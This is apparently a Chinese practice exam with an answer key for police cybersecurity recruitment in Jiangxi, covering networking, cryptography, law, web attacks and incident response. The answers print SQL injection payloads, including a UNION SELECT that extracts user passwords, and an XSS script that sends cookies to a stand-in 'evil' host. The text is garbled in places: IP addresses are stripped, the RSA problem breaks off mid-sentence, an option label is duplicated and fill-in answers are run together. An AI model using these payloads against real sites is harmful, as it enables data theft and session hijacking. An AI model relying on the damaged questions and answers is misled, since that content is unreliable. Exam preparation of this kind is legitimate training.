2026年江西省公安机关人民警察特殊职位招录考试（网络安全）能力提高训练题及答案

2026年江西省公安机关人民警察特殊职位招录考试（网络安全）能力提高训练题及答案一、单项选择题（每题1.5分，共30分）1.在OSI七层模型中，主要负责为网络层提供服务，确保数据在一个网段上无误传输的层是（）。A.物理层B.数据链路层C.网络层D.传输层2.某网络安全工程师在配置防火墙规则时，遵循“最小权限原则”。以下哪种规则配置最符合该原则？（）A.允许所有IP地址访问所有端口B.仅允许内部网络访问外部Web服务器的80和443端口C.拒绝所有IP地址访问，再单独允许特定IP访问特定端口D.允许外部网络访问内部服务器的SSH端口3.在TCP/IP协议栈中，ARP协议的主要作用是（）。A.将域名解析为IP地址B.将IP地址解析为MAC地址C.建立端到端的连接D.传输控制报文4.下列关于SQL注入攻击的描述中，错误的是（）。A.SQL注入是由于应用程序未对用户输入进行严格过滤导致的B.盲注是指攻击者无法从页面直接获取回显信息，只能通过逻辑判断进行猜测B.使用预编译语句（PreparedStatements）可以有效防御SQL注入D.SQL注入只能发生在GET请求中，POST请求是安全的5.按照《中华人民共和国网络安全法》的规定，关键信息基础设施的运营者在采购网络产品和服务时，应当按照规定与提供者签订（）。A.保密协议B.安全责任书C.知识产权协议D.采购合同6.某文件的MD5哈希值为`e10adc3949ba59abbe56e057f20f883e`，该文件被修改后，其哈希值将（）。A.保持不变B.发生微小变化C.完全改变D.变为原值的逆序7.在Linux系统中，用于查看当前系统网络连接状态的命令是（）。A.psB.netstatC.topD.ls8.Metasploit框架中，用于利用漏洞、在目标系统上运行的组件被称为（）。A.ExploitB.PayloadC.AuxiliaryD.Post9.公钥密码体制中，发送方用接收方的公钥加密数据，接收方用自己的（）解密数据。A.公钥B.私钥C.会话密钥D.对称密钥10.XSS攻击（跨站脚本攻击）主要分为存储型、反射型和（）。A.基于DOMB.基于GETC.基于POSTD.盲注型11.在入侵检测系统（IDS）中，基于特征的检测方式与基于异常的检测方式相比，其主要缺点是（）。A.检测效率低B.无法检测未知的攻击模式C.误报率高D.配置复杂12.IPv6地址的长度是（）位。A.32B.64C.128D.25613.在Windows系统中，注册表键值`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\`下的`EnableICMPRedirect`用于控制（）。A.是否允许ICMP重定向B.是否启用IP路由C.是否允许TCP连接D.是否启用DNS解析14.下列哪种协议默认使用UDP协议传输数据？（）A.HTTPSB.FTPC.DNSD.SMTP15.著名的“中间人攻击”（MITM）利用了SSL/TLS协议握手过程中的（）缺陷。A.版本过低B.证书验证不严格C.加密算法强度不够D.端口未开放16.在数字取证中，为了保证电子证据的完整性，通常需要对证据进行哈希计算。这体现了取证的（）原则。A.合法性原则B.及时性原则C.完整性原则D.连续性原则17.计算机病毒的特征不包括（）。A.传染性B.潜伏性C.不可触发性D.破坏性18.在Web应用防火墙（WAF）中，针对CC攻击（ChallengeCollapsar）的主要防御手段是（）。A.过滤恶意SQL语句B.限制同一IP的频繁请求频率C.上传文件扫描D.隐藏服务器版本信息19.下列关于非对称加密算法RSA的描述，正确的是（）。A.RSA的安全性基于大数分解难题B.RSA的加密速度比DES快C.RSA通常用于加密大量数据D.RSA是一种分组密码20.某单位内部网络被划分为多个VLAN，VLAN间通信通常需要通过（）设备实现。A.集线器B.二层交换机C.三层交换机或路由器D.网桥二、多项选择题（每题2分，共20分。多选、少选、错选均不得分）1.下列属于常见的网络扫描工具的有（）。A.NmapB.WiresharkC.NessusScanD.BurpSuite2.防火墙的主要功能包括（）。A.网络地址转换（NAT）B.包过滤C.应用层代理D.病毒查杀3.《中华人民共和国数据安全法》规定，国家建立数据分类分级保护制度，对数据实行（）。A.分类B.分级C.加密D.备份4.下列关于TCP三次握手的过程，描述正确的有（）。A.第一次握手：客户端发送SYN包B.第二次握手：服务端回复SYN+ACK包C.第三次握手：客户端回复ACK包D.三次握手建立的是全双工连接5.常见的Web安全漏洞包括（）。A.文件包含漏洞B.命令执行漏洞C.逻辑漏洞D.CSRF（跨站请求伪造）6.在应急响应中，常见的系统后门检测手段包括（）。A.检查异常的开放端口B.检查启动项C.检查系统日志中的异常登录D.检查CPU和内存占用率异常的进程7.密码学中，Hash函数（哈希函数）的特性包括（）。A.输入长度可变，输出长度固定B.具有单向性C.具有抗碰撞性D.可逆性8.下列属于DDoS攻击类型的有（）。A.SYNFloodB.ICMPFloodC.UDPFloodD.DNS放大攻击9.Linux系统中，权限为755的文件，其含义是（）。A.文件所有者有读、写、执行权限B.文件所属组有读、写权限C.文件所属组有读、执行权限D.其他用户有读、执行权限10.在网络安全等级保护2.0标准中，第三级及以上等级保护对象的安全计算环境要求包括（）。A.身份鉴别B.访问控制C.安全审计D.入侵防范三、填空题（每题1.5分，共15分）1.在HTTP协议中，状态码______表示服务器内部错误。2.二进制数`101101`转换为十进制数是______。3.在Python中，用于发送HTTP请求的常用库是______。4.PGP（PrettyGoodPrivacy）是一种混合加密体制，它结合了对称加密算法、非对称加密算法和______算法。5.在Linux系统中，`/etc/passwd`文件中，每个用户记录被冒号分隔为7个字段，其中第______个字段是用户的家目录。6.ICMP协议属于TCP/IP模型中的______层。7.某C类IP地址`/24`，其子网掩码是______。8.Base64编码是一种常用的编码方式，它将每______个字节转换为4个字符。9.在Wireshark过滤器中，若要抓取源IP为``的数据包，应使用表达式______。10.数字签名用于验证数据的完整性和______。四、简答题（每题5分，共20分）1.简述对称加密算法与非对称加密算法的主要区别及各自的优缺点。2.请解释什么是CSRF攻击，并列举两种主要的防御措施。3.简述在Linux系统中，如果发现CPU占用率持续高达100%，应采取哪些排查步骤？4.根据《公安机关网络安全保卫警察执法指引》，在办理计算机犯罪案件时，对电子证据的提取和固定有哪些基本要求？五、综合应用题（共65分）1.Web渗透测试与漏洞分析（25分）某电商网站存在一个搜索功能，URL为`http://www.example/search?q=keyword`。安全测试人员小王对该接口进行测试。(1)小王在输入框中输入`'OR1=1--`，页面返回了所有商品列表。请分析这属于什么类型的漏洞？其产生的原因是什么？（5分）(2)为了进一步获取敏感信息，小王构造了如下Payload：`'UNIONSELECTNULL,username,passwordFROMusers--`请解释该Payload的含义，并说明在什么情况下该攻击会失败？（10分）(3)假设该网站同时存在存储型XSS漏洞，攻击者如何在搜索框中插入恶意JavaScript代码，使得当管理员查看后台搜索日志时触发攻击？请给出一个示例Payload。（5分）(4)作为该网站的安全负责人，你会从代码层面和运维层面分别采取哪些措施来修复上述漏洞？（5分）2.流量分析与应急响应（20分）某企业内网网关防火墙报警，显示内部某IP地址`00`正在向外部IP`0`的443端口发送大量数据。安全人员截获了一段Wireshark流量日志（部分内容如下）：```Frame1:150bytesonwire(1200bits),150bytescaptured(1200bits)EthernetII,Src:Intel_XX:XX:XX,Dst:Cisco_XX:XX:XXInternetProtocolVersion4,Src:00,Dst:0TransmissionControlProtocol,SrcPort:52341,DstPort:443,Seq:1,Ack:1,Len:102SSL/TLSApplicationDataData:4c4f47494e3a2061646d696e2070617373776f7264...```(1)根据流量特征，初步判断发生了什么安全事件？请说明理由。（5分）(2)请对Hex数据`4c4f47494e3a2061646d696e2070617373776f7264`进行解码分析，这代表了什么内容？（5分）(3)针对这种情况，应急响应的处置流程包括哪些关键步骤？（5分）(4)如果确认`00`主机已被植入木马，为了定位木马文件，应重点检查该主机的哪些位置？（5分）3.密码学与算法应用（20分）RSA算法是一种典型的非对称加密算法。假设我们选取两个质数p=17，(1)请计算模数n和欧拉函数ϕ((2)选取公钥指数e=7，请计算私钥指数d。请列出计算过程（即求解(3)若要加密明文M=5，请计算密文(4)简述RSA算法如果选取的质数p和q太小，或者p和q之间距离太近，会带来什么安全风险？（5分）参考答案及解析一、单项选择题1.B解析：数据链路层负责在物理介质上提供可靠的数据传输，通过MAC地址寻址，进行帧的封装与解封装。2.C解析：最小权限原则是指主体仅拥有执行其任务所必需的最小权限。C选项先拒绝所有，再按需开放，是最严格且符合该原则的配置方式。3.B解析：ARP（AddressResolutionProtocol）地址解析协议，用于将已知的IP地址解析为物理地址（MAC地址）。4.D解析：SQL注入与请求方式无关，只要是未过滤的输入点，无论是GET、POST还是Cookie头，都可能存在注入漏洞。5.B解析：根据《网络安全法》第三十六条，关键信息基础设施的运营者采购网络产品和服务，应当按照规定与提供者签订安全责任书。6.C解析：哈希函数具有雪崩效应，即使输入数据发生微小的变化，输出的哈希值也会发生完全改变。7.B解析：`netstat`用于显示网络连接、路由表和网络接口统计信息。`ps`查看进程，`top`查看资源占用，`ls`查看文件。8.A解析：在Metasploit中，Exploit是利用漏洞进行攻击的模块；Payload是攻击成功后在目标系统上执行的代码（如反弹Shell）；Auxiliary是辅助模块（如扫描）。9.B解析：公钥体制中，公钥加密，私钥解密；或者私钥签名，公钥验签。10.A解析：XSS攻击主要分为反射型、存储型和基于DOM的XSS。11.B解析：基于特征的检测依赖于已知的攻击特征库，因此无法检测未知的、新型的攻击模式（零日漏洞）。12.C解析：IPv6地址长度为128位。13.A解析：`EnableICMPRedirect`参数用于控制是否允许ICMP重定向报文，防止路由被恶意篡改。14.C解析：DNS通常使用UDP协议（53端口）进行查询，以减少开销；当响应包超过512字节时才使用TCP。15.B解析：中间人攻击通常利用客户端未严格验证服务器证书，或者客户端信任了攻击者伪造的证书来实现。16.C解析：完整性原则要求证据在收集、保管、分析过程中未被篡改，哈希值校验是验证完整性的标准方法。17.C解析：计算机病毒具有传染性、潜伏性、可触发性（并非不可触发性）和破坏性。18.B解析：CC攻击是针对Web应用层的HTTPFlood攻击，通过模拟大量用户频繁请求动态页面耗尽资源，限制请求频率是主要防御手段。19.A解析：RSA的安全性基于大整数分解难题。RSA加密速度慢，通常只用于加密少量数据（如对称密钥），属于非对称加密。20.C解析：VLAN隔离了二层广播域，不同VLAN间通信需要经过三层设备（路由器或三层交换机）进行路由转发。二、多项选择题1.AC解析：Nmap和Nessus是扫描工具；Wireshark是抓包分析工具；BurpSuite是Web渗透测试工具。2.ABC解析：防火墙主要功能包括访问控制（包过滤）、NAT、应用层代理等。虽然部分UTM（统一威胁管理）防火墙包含病毒查杀，但传统防火墙不具备此功能，故D不选。3.AB解析：《数据安全法》第二十一条规定，国家建立数据分类分级保护制度，对数据实行分类分级。4.ABCD解析：TCP三次握手包含SYN,SYN-ACK,ACK三个步骤，建立的是可靠的全双工连接。5.ABCD解析：Web安全漏洞种类繁多，文件包含、命令执行、逻辑漏洞、CSRF均为常见类型。6.ABCD解析：后门检测需要综合分析端口、启动项、日志以及进程资源占用情况。7.ABC解析：Hash函数具有单向性（不可逆）、定长输出、抗碰撞性。D选项错误。8.ABCD解析：SYNFlood,ICMPFlood,UDPFlood,DNS放大攻击均为常见的DDoS攻击方式。9.ACD解析：755表示：所有者(7=4+2+1)读写执行；组用户(5=4+1)读执行；其他用户(5=4+1)读执行。B选项说组用户有写权限是错误的。10.ABCD解析：等保2.0第三级及以上要求安全计算环境包含身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范等。三、填空题1.5002.45解析：1×3.requests(或urllib)4.哈希5.6解析：`/etc/passwd`字段顺序为：1.用户名，2.密码(占位符)，3.UID，4.GID，5.注释，6.家目录，7.Shell。6.网络55.08.39.ip.src==10.不可抵赖性(或真实性)四、简答题1.答：对称加密：加密和解密使用同一个密钥。优点：算法简单，计算速度快，适合加密大量数据。缺点：密钥分发和管理困难，缺乏防抵赖功能。非对称加密：加密和解密使用不同密钥（公钥和私钥）。优点：密钥管理方便（公钥公开），安全性高，支持数字签名和防抵赖。缺点：算法复杂，计算速度慢，通常只用于加密少量数据（如密钥）。2.答：CSRF（Cross-SiteRequestForgery）跨站请求伪造：攻击者诱导受害者在已登录目标网站的情况下，访问恶意网站，利用受害者的身份信息向目标网站发送跨站请求，从而在受害者不知情的情况下执行非法操作（如转账、改密）。防御措施：(1)使用CSRFToken：在表单中加入随机生成的Token，并在服务器端验证。(2)验证HTTPReferer字段：检查请求来源是否合法。(3)设置SameSite属性：在Cookie中设置SameSite属性为Strict或Lax，防止第三方网站携带Cookie。(4)双重提交Cookie。3.答：(1)使用`top`命令查看占用CPU最高的进程PID。(2)使用`ps-ef|grepPID`或`lsof-pPID`查看进程对应的命令行参数、启动路径和打开的文件，判断是否为恶意进程。(3)检查`/var/log/`下的系统日志（如`secure`,`messages`），查找是否有异常登录或执行记录。(4)使用`netstat-antp`查看该进程建立的网络连接，确认是否有异常外联。(5)若确认为恶意进程，结束进程并排查启动项（如`crontab`,`/etc/rc.local`）和定时任务，防止复发。4.答：(1)合法性：取证主体必须具备合法的执法资格，取证过程需符合法定程序。(2)及时性：电子证据易丢失、易篡改，应在发现后第一时间进行提取和固定。(3)完整性：提取证据时应保证其未被修改、破坏，通常采用镜像备份、计算哈希值等方式固定。(4)规范性：制作笔录，详细记录提取时间、地点、人员、方法和过程，并由相关人员签字确认。(5)环境隔离：对涉案计算机进行网络隔离，防止远程数据销毁或继续攻击。五、综合应用题1.(1)答：属于SQL注入漏洞。原因：应用程序将用户输入的`'OR1=1--`直接拼接到SQL查询语句中，导致原本的WHERE条件永远为真（`1=1`），且`--`注释掉了后面的语句，从而返回了数据库中所有记录。(2)答：Payload含义：利用UNION查询操作符，将恶意构造的查询结果（从users表中提取的username和password字段）拼接到原始查询结果的后面进行显示。NULL用于占位，以匹配原始查询的列数。失败情况：1.原始查询语句的列数与UNION后面的列数不一致。2.原始查询与UNION查询的数据类型不兼容。3.数据库用户没有读取users表的权限。4.Web应用关闭了详细的错误回显，导致无法判断列数或表结构（盲注情况除外）。(3)答：示例Payload（窃取Cookie）：`<script>document.location='http://evil/steal?c='+document.cookie;</script>`当管理员查看后台日志时，该脚本被执行，将管理员的Cookie发送到攻击者的服务器。(4)答：代码层面：1.使用预编译语句或参数化查询，彻底隔离SQL代码与数据。2.对所有用户输入进行严格的白名单过滤和长度限制。3.对输出到HTML页面的内容进行HTML实体编码，防止XSS。运维层面：1.部署Web应用防火墙（WAF），拦截常见攻击流量。2.最小权限原则：限制数据库连接账户的权限，禁止使用dbo或sa权限。3.定期进行代码审计和漏洞扫描。2.(1